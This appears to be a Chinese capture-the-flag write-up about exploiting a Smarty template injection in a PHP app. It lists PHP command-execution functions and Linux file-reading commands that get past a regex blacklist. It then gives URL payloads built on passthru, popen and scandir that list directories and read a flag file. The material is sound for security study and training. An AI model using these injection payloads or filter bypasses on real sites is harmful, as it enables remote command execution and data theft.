获取信息
随意传参获取到smarty提示,有可能是模板注入
验证是否为模板注入
从源码中发现/system|readfile|gz|exec|eval|cat|assert|file|fgets/i 这些函数都被过滤
课外知识点
php命令执行函数有
exec — 执行一个外部程序
passthru — 执行外部程序并且显示原始输出
proc_close — 关闭由 proc_open 打开的进程并且返回进程退出码
proc_open — 执行一个命令,并且打开用来输入/输出的文件指针。
popen — 打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。
proc_terminate — 杀除由 proc_open 打开的进程
shell_exec — 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。
system — 执行外部程序,并且显示输出
scandir 列出指定路径中的文件和目录
eval — 把字符串作为PHP代码执行
assert --函数直接将传入的参数当成PHP代码执行
linux查看文件的命令
cat tac more less head tail nl static-sh paste od bzmore bzless
php文件读取函数
print r() fread() fgets() vardump()
构造payload
1.使用passthru函数找到flag文件,并读取flag文件内容
/index.php?a={passthru("ls -al /")}
获取目录文件,查看结果有两个文件比较特殊
查看文件内容,这里用tac,也可以用其他的linux文件读取命令
/index.php?f={passthru("tac%20/_18366")}
2.使用popen函数找到flag文件,并读取flag文件内容
/index.php?f={fread(popen("/bin/ls%20-al%20/","r"),2096)}
/index.php?f={fread(popen("/bin/less%20/_18366","r"),2096)}
3.使用scandir函数找到flag文件,并读取flag文件内容
/index.php?f={print_r(scandir("/"))}
/index.php?f={var_dump(scandir("/"))}
/index.php?f={fread(fopen("/_18366","r"),4096)}